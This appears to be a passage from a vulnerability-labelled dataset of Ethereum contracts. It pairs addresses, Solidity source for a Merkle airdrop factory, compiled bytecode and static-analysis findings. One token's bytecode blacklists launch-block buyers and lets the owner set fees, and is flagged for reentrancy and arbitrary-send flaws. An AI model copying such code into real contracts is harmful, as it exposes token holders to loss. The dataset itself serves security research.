01600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107ff81612377565b9150506107a2565b5050565b6000546001600160a01b031633146108355760405162461bcd60e51b81526004016107969061223a565b6001600160a01b03811660009081526009602052604090205460ff1615610877576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108a45760405162461bcd60e51b81526004016107969061223a565b60018211156108b257600080fd5b60018111156108c057600080fd5b600d91909155600f55565b6000546001600160a01b031633146108f55760405162461bcd60e51b81526004016107969061223a565b601355565b6017546001600160a01b0316336001600160a01b03161461091a57600080fd5b601780546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b0316331461097e5760405162461bcd60e51b81526004016107969061223a565b601a8054911515600160b01b0260ff60b01b19909216919091179055565b6017546001600160a01b0316336001600160a01b0316146109bc57600080fd5b47610877816118a9565b6001600160a01b0381166000908152600260205260408120546106fd906118e3565b6000546001600160a01b03163314610a125760405162461bcd60e51b81526004016107969061223a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a865760405162461bcd60e51b81526004016107969061223a565b674563918244f40000811015610afb5760405162461bcd60e51b815260206004820152603460248201527f4d6178696d756d207472616e73616374696f6e20616d6f756e74206d7573742060448201527362652067726561746572207468616e20302e352560601b6064820152608401610796565b601b55565b6000546001600160a01b03163314610b2a5760405162461bcd60e51b81526004016107969061223a565b601a54600160a01b900460ff1615610b4157600080fd5b601a805460ff60a01b1916600160a01b17905542600a55565b6000546001600160a01b03163314610b845760405162461bcd60e51b81526004016107969061223a565b601980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b158015610be457600080fd5b505afa158015610bf8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c1c9190611ff9565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610c6457600080fd5b505afa158015610c78573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c9c9190611ff9565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610ce457600080fd5b505af1158015610cf8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d1c9190611ff9565b601a80546001600160a01b0319166001600160a01b039290921691909117905550565b6017546001600160a01b0316336001600160a01b031614610d5f57600080fd5b610d68306109c6565b8111158015610d775750600081115b610db25760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b6044820152606401610796565b61087781611967565b6000546001600160a01b03163314610de55760405162461bcd60e51b81526004016107969061223a565b6001821115610df357600080fd5b6013811115610e0157600080fd5b600b91909155600c55565b6000546001600160a01b03163314610e365760405162461bcd60e51b81526004016107969061223a565b601a8054911515600160b81b0260ff60b81b19909216919091179055565b60006106f9338484611148565b6000546001600160a01b03163314610e8b5760405162461bcd60e51b81526004016107969061223a565b600d821115610e9957600080fd5b600d811115610ea757600080fd5b600e91909155601055565b6000546001600160a01b03163314610edc5760405162461bcd60e51b81526004016107969061223a565b6004811115610eea57600080fd5b610ef681610e10612341565b60185550565b6000546001600160a01b03163314610f265760405162461bcd60e51b81526004016107969061223a565b601c54811015610f3557600080fd5b601c55565b6000546001600160a01b03163314610f645760405162461bcd60e51b81526004016107969061223a565b6001600160a01b038116610fc95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610796565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166110865760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610796565b6001600160a01b0382166110e75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610796565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166111ac5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610796565b6001600160a01b03821661120e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610796565b600081116112705760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610796565b6001600160a01b03821660009081526009602052604090205460ff16156112a95760405162461bcd60e51b81526004016107969061226f565b6001600160a01b03831660009081526009602052604090205460ff16156112e25760405162461bcd60e51b81526004016107969061226f565b3360009081526009602052604090205460ff16156113125760405162461bcd60e51b81526004016107969061226f565b6000546001600160a01b0384811691161480159061133e57506000546001600160a01b03838116911614155b156116b757601a54600160a01b900460ff1661139c5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642100000000000000006044820152606401610796565b601a546001600160a01b0383811691161480156113c757506019546001600160a01b03848116911614155b15611479576001600160a01b03821630148015906113ee57506001600160a01b0383163014155b801561140857506017546001600160a01b03838116911614155b801561142257506017546001600160a01b03848116911614155b1561147957601b548111156114795760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610796565b601a546001600160a01b038381169116148015906114a557506017546001600160a01b03838116911614155b80156114ba57506001600160a01b0382163014155b80156114d157506001600160a01b03821661dead14155b156115b157601c54816114e3846109c6565b6114ed9190612307565b106115465760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610796565b601a54600160b81b900460ff16156115b157600a54611567906104b0612307565b42116115b157601e548111156115b15760405162461bcd60e51b815260206004820152600f60248201526e082dadeeadce840e8dede40daeac6d608b1b6044820152606401610796565b60006115bc306109c6565b601d5490915081118080156115db5750601a54600160a81b900460ff16155b80156115f55750601a546001600160a01b03868116911614155b801561160a5750601a54600160b01b900460ff165b801561162f57506001600160a01b03851660009081526006602052604090205460ff16155b801561165457506001600160a01b03841660009081526006602052604090205460ff16155b156116b4576013546000901561168f57611684606461167e60135486611af090919063ffffffff16565b90611b6f565b905061168f81611bb1565b6116a161169c8285612360565b611967565b4780156116b1576116b1476118a9565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff16806116f957506001600160a01b03831660009081526006602052604090205460ff165b8061172b5750601a546001600160a01b0385811691161480159061172b5750601a546001600160a01b03848116911614155b156117385750600061185d565b601a546001600160a01b03858116911614801561176357506019546001600160a01b03848116911614155b156117be576001600160a01b03831660009081526004602052604090204290819055600d54601155600e54601255600a5414156117be576001600160a01b0383166000908152600960205260409020805460ff191660011790555b601a546001600160a01b0384811691161480156117e957506019546001600160a01b03858116911614155b1561185d576001600160a01b0384166000908152600460205260409020541580159061183a57506018546001600160a01b038516600090815260046020526040902054429161183791612307565b10155b1561185057600b54601155600c5460125561185d565b600f546011556010546012555b61186984848484611bbe565b50505050565b600081848411156118935760405162461bcd60e51b815260040161079691906121e5565b5060006118a08486612360565b95945050505050565b6017546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610807573d6000803e3d6000fd5b600060075482111561194a5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610796565b6000611954611bf2565b90506119608382611b6f565b9392505050565b601a805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106119af576119af6123a8565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015611a0357600080fd5b505afa158015611a17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a3b9190611ff9565b81600181518110611a4e57611a4e6123a8565b6001600160a01b039283166020918202929092010152601954611a749130911684611024565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac94790611aad908590600090869030904290600401612296565b600060405180830381600087803b158015611ac757600080fd5b505af1158015611adb573d6000803e3d6000fd5b5050601a805460ff60a81b1916905550505050565b600082611aff575060006106fd565b6000611b0b8385612341565b905082611b18858361231f565b146119605760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610796565b600061196083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c15565b6108773061dead83611148565b80611bcb57611bcb611c43565b611bd6848484611c88565b8061186957611869601454601155601554601255601654601355565b6000806000611bff611d7f565b9092509050611c0e8282611b6f565b9250505090565b60008183611c365760405162461bcd60e51b815260040161079691906121e5565b5060006118a0848661231f565b601154158015611c535750601254155b8015611c5f5750601354155b15611c6657565b6011805460145560128054601555601380546016556000928390559082905555565b600080600080600080611c9a87611dc1565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611ccc9087611e1e565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611cfb9086611e60565b6001600160a01b038916600090815260026020526040902055611d1d81611ebf565b611d278483611f09565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611d6c91815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea00000611d9b8282611b6f565b821015611db857505060075492683635c9adc5dea0000092509050565b90939092509050565b6000806000806000806000806000611dde8a601154601254611f2d565b9250925092506000611dee611bf2565b90506000806000611e018e878787611f7c565b919e509c509a509598509396509194505050505091939550919395565b600061196083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061186f565b600080611e6d8385612307565b9050838110156119605760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610796565b6000611ec9611bf2565b90506000611ed78383611af0565b30600090815260026020526040902054909150611ef49082611e60565b30600090815260026020526040902055505050565b600754611f169083611e1e565b600755600854611f269082611e60565b6008555050565b6000808080611f41606461167e8989611af0565b90506000611f54606461167e8a89611af0565b90506000611f6c82611f668b86611e1e565b90611e1e565b9992985090965090945050505050565b6000808080611f8b8886611af0565b90506000611f998887611af0565b90506000611fa78888611af0565b90506000611fb982611f668686611e1e565b939b939a50919850919650505050505050565b8035611fd7816123d4565b919050565b600060208284031215611fee57600080fd5b8135611960816123d4565b60006020828403121561200b57600080fd5b8151611960816123d4565b6000806040838503121561202957600080fd5b8235612034816123d4565b91506020830135612044816123d4565b809150509250929050565b60008060006060848603121561206457600080fd5b833561206f816123d4565b9250602084013561207f816123d4565b929592945050506040919091013590565b600080604083850312156120a357600080fd5b82356120ae816123d4565b946020939093013593505050565b600060208083850312156120cf57600080fd5b823567ffffffffffffffff808211156120e757600080fd5b818501915085601f8301126120fb57600080fd5b81358181111561210d5761210d6123be565b8060051b604051601f19603f83011681018181108582111715612132576121326123be565b604052828152858101935084860182860187018a101561215157600080fd5b600095505b8386101561217b5761216781611fcc565b855260019590950194938601938601612156565b5098975050505050505050565b60006020828403121561219a57600080fd5b8135801515811461196057600080fd5b6000602082840312156121bc57600080fd5b5035919050565b600080604083850312156121d657600080fd5b50508035926020909101359150565b600060208083528351808285015260005b81811015612212578581018301518582016040015282016121f6565b81811115612224576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156122e65784516001600160a01b0316835293830193918301916001016122c1565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561231a5761231a612392565b500190565b60008261233c57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561235b5761235b612392565b500290565b60008282101561237257612372612392565b500390565b600060001982141561238b5761238b612392565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461087757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122090fd48d7f63d4938dae3769f4f72e0d2c2b04520354805355331f3fa13db4b7a64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,587
0x594c62030edbf4d09564bce0efe2885b34b12e24
/** *Submitted for verification at Etherscan.io on 2021-03-27 */ // SPDX-License-Identifier: MIT AND GPL-v3-or-later pragma solidity 0.8.1; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract CloneFactory { function createClone(address target, bytes32 salt) internal returns (address result) { bytes20 targetBytes = bytes20(target); assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), targetBytes) mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) result := create2(0, clone, 0x37, salt) } } function computeCloneAddress(address target, bytes32 salt) internal view returns (address) { bytes20 targetBytes = bytes20(target); bytes32 bytecodeHash; assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), targetBytes) mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) bytecodeHash := keccak256(clone, 0x37) } bytes32 _data = keccak256( abi.encodePacked(bytes1(0xff), address(this), salt, bytecodeHash) ); return address(bytes20(_data << 96)); } function isClone(address target, address query) internal view returns (bool result) { bytes20 targetBytes = bytes20(target); assembly { let clone := mload(0x40) mstore(clone, 0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000) mstore(add(clone, 0xa), targetBytes) mstore(add(clone, 0x1e), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) let other := add(clone, 0x40) extcodecopy(query, other, 0, 0x2d) result := and( eq(mload(clone), mload(other)), eq(mload(add(clone, 0xd)), mload(add(other, 0xd))) ) } } } library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } // Check if the computed hash (root) is equal to the provided root return computedHash == root; } } interface IERC20 { function transfer(address recipient, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); } interface IERC721 { function safeTransferFrom(address from, address to, uint256 tokenId) external; function ownerOf(uint256 tokenId) external view returns (address owner); } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface IAstrodrop { // Returns the address of the token distributed by this contract. function token() external view returns (address); // Returns the merkle root of the merkle tree containing account balances available to claim. function merkleRoot() external view returns (bytes32); // Returns true if the index has been marked claimed. function isClaimed(uint256 index) external view returns (bool); // Claim the given amount of the token to the given address. Reverts if the inputs are invalid. function claim(uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof) external; // This event is triggered whenever a call to #claim succeeds. event Claimed(uint256 index, address account, uint256 amount); } contract Astrodrop is IAstrodrop, Ownable { using SafeERC20 for IERC20; address public override token; bytes32 public override merkleRoot; bool public initialized; uint256 public expireTimestamp; // This is a packed array of booleans. mapping(uint256 => uint256) public claimedBitMap; function init(address owner_, address token_, bytes32 merkleRoot_, uint256 expireTimestamp_) external { require(!initialized, "Astrodrop: Initialized"); initialized = true; token = token_; merkleRoot = merkleRoot_; expireTimestamp = expireTimestamp_; _transferOwnership(owner_); } function isClaimed(uint256 index) public view override returns (bool) { uint256 claimedWordIndex = index / 256; uint256 claimedBitIndex = index % 256; uint256 claimedWord = claimedBitMap[claimedWordIndex]; uint256 mask = (1 << claimedBitIndex); return claimedWord & mask == mask; } function _setClaimed(uint256 index) private { uint256 claimedWordIndex = index / 256; uint256 claimedBitIndex = index % 256; claimedBitMap[claimedWordIndex] = claimedBitMap[claimedWordIndex] | (1 << claimedBitIndex); } function claim(uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof) external override { require(!isClaimed(index), 'MerkleDistributor: Drop already claimed.'); // Verify the merkle proof. bytes32 node = keccak256(abi.encodePacked(index, account, amount)); require(MerkleProof.verify(merkleProof, merkleRoot, node), 'Astrodrop: Invalid proof'); // Mark it claimed and send the token. _setClaimed(index); IERC20(token).safeTransfer(account, amount); emit Claimed(index, account, amount); } function sweep(address token_, address target) external onlyOwner { require(block.timestamp >= expireTimestamp || token_ != token, "Astrodrop: Not expired"); IERC20 tokenContract = IERC20(token_); uint256 balance = tokenContract.balanceOf(address(this)); tokenContract.safeTransfer(target, balance); } } contract AstrodropERC721 is IAstrodrop, Ownable { using SafeERC20 for IERC20; address public override token; bytes32 public override merkleRoot; bool public initialized; uint256 public expireTimestamp; // This is a packed array of booleans. mapping(uint256 => uint256) public claimedBitMap; function init(address owner_, address token_, bytes32 merkleRoot_, uint256 expireTimestamp_) external { require(!initialized, "Astrodrop: Initialized"); initialized = true; token = token_; merkleRoot = merkleRoot_; expireTimestamp = expireTimestamp_; _transferOwnership(owner_); } function isClaimed(uint256 index) public view override returns (bool) { uint256 claimedWordIndex = index / 256; uint256 claimedBitIndex = index % 256; uint256 claimedWord = claimedBitMap[claimedWordIndex]; uint256 mask = (1 << claimedBitIndex); return claimedWord & mask == mask; } function _setClaimed(uint256 index) private { uint256 claimedWordIndex = index / 256; uint256 claimedBitIndex = index % 256; claimedBitMap[claimedWordIndex] = claimedBitMap[claimedWordIndex] | (1 << claimedBitIndex); } function claim(uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof) external override { require(!isClaimed(index), 'MerkleDistributor: Drop already claimed.'); // Verify the merkle proof. bytes32 node = keccak256(abi.encodePacked(index, account, amount)); require(MerkleProof.verify(merkleProof, merkleRoot, node), 'Astrodrop: Invalid proof'); // Mark it claimed and send the token. _setClaimed(index); IERC721 tokenContract = IERC721(token); tokenContract.safeTransferFrom(tokenContract.ownerOf(amount), account, amount); emit Claimed(index, account, amount); } function sweep(address token_, address target) external onlyOwner { require(block.timestamp >= expireTimestamp || token_ != token, "Astrodrop: Not expired"); IERC20 tokenContract = IERC20(token_); uint256 balance = tokenContract.balanceOf(address(this)); tokenContract.safeTransfer(target, balance); } } contract AstrodropFactory is CloneFactory { event CreateAstrodrop(address astrodrop, bytes32 ipfsHash); function createAstrodrop( address template, address token, bytes32 merkleRoot, uint256 expireTimestamp, bytes32 salt, bytes32 ipfsHash ) external returns (Astrodrop drop) { drop = Astrodrop(createClone(template, salt)); drop.init(msg.sender, token, merkleRoot, expireTimestamp); emit CreateAstrodrop(address(drop), ipfsHash); } function computeAstrodropAddress( address template, bytes32 salt ) external view returns (address) { return computeCloneAddress(template, salt); } function isAstrodrop(address template, address query) external view returns (bool) { return isClone(template, query); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c80638da5cb5b1161008c578063b8dc491b11610066578063b8dc491b1461016f578063ee25560b14610182578063f2fde38b14610195578063fc0c546a146101a8576100cf565b80638da5cb5b1461013f5780638f32d59b146101545780639e34070f1461015c576100cf565b8063158ef93e146100d45780632cde56c3146100f25780632e7ba6ef146101075780632eb4a7ab1461011a578063338b84c11461012f578063715018a614610137575b600080fd5b6100dc6101b0565b6040516100e99190610a5f565b60405180910390f35b6101056101003660046108a1565b6101b9565b005b610105610115366004610932565b610228565b61012261033d565b6040516100e99190610a6a565b610122610343565b610105610349565b6101476103b7565b6040516100e99190610a32565b6100dc6103c6565b6100dc61016a366004610902565b6103ea565b61010561017d36600461086f565b61042d565b610122610190366004610902565b610523565b6101056101a336600461084e565b610535565b610147610565565b60035460ff1681565b60035460ff16156101e55760405162461bcd60e51b81526004016101dc90610bd2565b60405180910390fd5b60038054600160ff19909116811790915580546001600160a01b0319166001600160a01b0385161790556002829055600481905561022284610574565b50505050565b610231856103ea565b1561024e5760405162461bcd60e51b81526004016101dc90610af0565b600085858560405160200161026593929190610a0a565b6040516020818303038152906040528051906020012090506102be8383808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152505060025491508490506105f5565b6102da5760405162461bcd60e51b81526004016101dc90610a73565b6102e3866106b0565b6001546102fa906001600160a01b031686866106ee565b7f4ec90e965519d92681267467f775ada5bd214aa92c0dc93d90a5e880ce9ed02686868660405161032d93929190610c83565b60405180910390a1505050505050565b60025481565b60045481565b6103516103c6565b61036d5760405162461bcd60e51b81526004016101dc90610b6d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b600080546001600160a01b03166103db610749565b6001600160a01b031614905090565b6000806103f961010084610ca2565b9050600061040961010085610cdd565b60009283526005602052604090922054600190921b9182169091149150505b919050565b6104356103c6565b6104515760405162461bcd60e51b81526004016101dc90610b6d565b6004544210158061047057506001546001600160a01b03838116911614155b61048c5760405162461bcd60e51b81526004016101dc90610ba2565b6040516370a0823160e01b815282906000906001600160a01b038316906370a08231906104bd903090600401610a32565b60206040518083038186803b1580156104d557600080fd5b505afa1580156104e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061050d919061091a565b90506102226001600160a01b03831684836106ee565b60056020526000908152604090205481565b61053d6103c6565b6105595760405162461bcd60e51b81526004016101dc90610b6d565b61056281610574565b50565b6001546001600160a01b031681565b6001600160a01b03811661059a5760405162461bcd60e51b81526004016101dc90610aaa565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600081815b85518110156106a557600086828151811061062557634e487b7160e01b600052603260045260246000fd5b602002602001015190508083116106665782816040516020016106499291906109c3565b604051602081830303815290604052805190602001209250610692565b80836040516020016106799291906109c3565b6040516020818303038152906040528051906020012092505b508061069d81610cb6565b9150506105fa565b509092149392505050565b60006106be61010083610ca2565b905060006106ce61010084610cdd565b6000928352600560205260409092208054600190931b9092179091555050565b6107448363a9059cbb60e01b848460405160240161070d929190610a46565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b03199093169290921790915261074d565b505050565b3390565b61075f826001600160a01b0316610831565b61077b5760405162461bcd60e51b81526004016101dc90610c4c565b600080836001600160a01b03168360405161079691906109d1565b6000604051808303816000865af19150503d80600081146107d3576040519150601f19603f3d011682016040523d82523d6000602084013e6107d8565b606091505b5091509150816107fa5760405162461bcd60e51b81526004016101dc90610b38565b805115610222578080602001905181019061081591906108e2565b6102225760405162461bcd60e51b81526004016101dc90610c02565b3b151590565b80356001600160a01b038116811461042857600080fd5b60006020828403121561085f578081fd5b61086882610837565b9392505050565b60008060408385031215610881578081fd5b61088a83610837565b915061089860208401610837565b90509250929050565b600080600080608085870312156108b6578182fd5b6108bf85610837565b93506108cd60208601610837565b93969395505050506040820135916060013590565b6000602082840312156108f3578081fd5b81518015158114610868578182fd5b600060208284031215610913578081fd5b5035919050565b60006020828403121561092b578081fd5b5051919050565b600080600080600060808688031215610949578081fd5b8535945061095960208701610837565b935060408601359250606086013567ffffffffffffffff8082111561097c578283fd5b818801915088601f83011261098f578283fd5b81358181111561099d578384fd5b89602080830285010111156109b0578384fd5b9699959850939650602001949392505050565b918252602082015260400190565b60008251815b818110156109f157602081860181015185830152016109d7565b818111156109ff5782828501525b509190910192915050565b92835260609190911b6bffffffffffffffffffffffff19166020830152603482015260540190565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b901515815260200190565b90815260200190565b60208082526018908201527f417374726f64726f703a20496e76616c69642070726f6f660000000000000000604082015260600190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526028908201527f4d65726b6c654469737472696275746f723a2044726f7020616c72656164792060408201526731b630b4b6b2b21760c11b606082015260800190565b6020808252818101527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b602080825260169082015275105cdd1c9bd91c9bdc0e88139bdd08195e1c1a5c995960521b604082015260600190565b602080825260169082015275105cdd1c9bd91c9bdc0e88125b9a5d1a585b1a5e995960521b604082015260600190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6040820152691bdd081cdd58d8d9595960b21b606082015260800190565b6020808252601f908201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604082015260600190565b9283526001600160a01b03919091166020830152604082015260600190565b600082610cb157610cb1610cf1565b500490565b6000600019821415610cd657634e487b7160e01b81526011600452602481fd5b5060010190565b600082610cec57610cec610cf1565b500690565b634e487b7160e01b600052601260045260246000fdfea264697066735822122088605c3d702e1a656780d37ef4452c82cba501ccd36b34f9eeac0ad7fd77847564736f6c63430008010033
{"success": true, "error": null, "results": {}}
8,588
0xb80efff37825ae07d66fa0f2188afaa57612475e
pragma solidity 0.5.8; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, 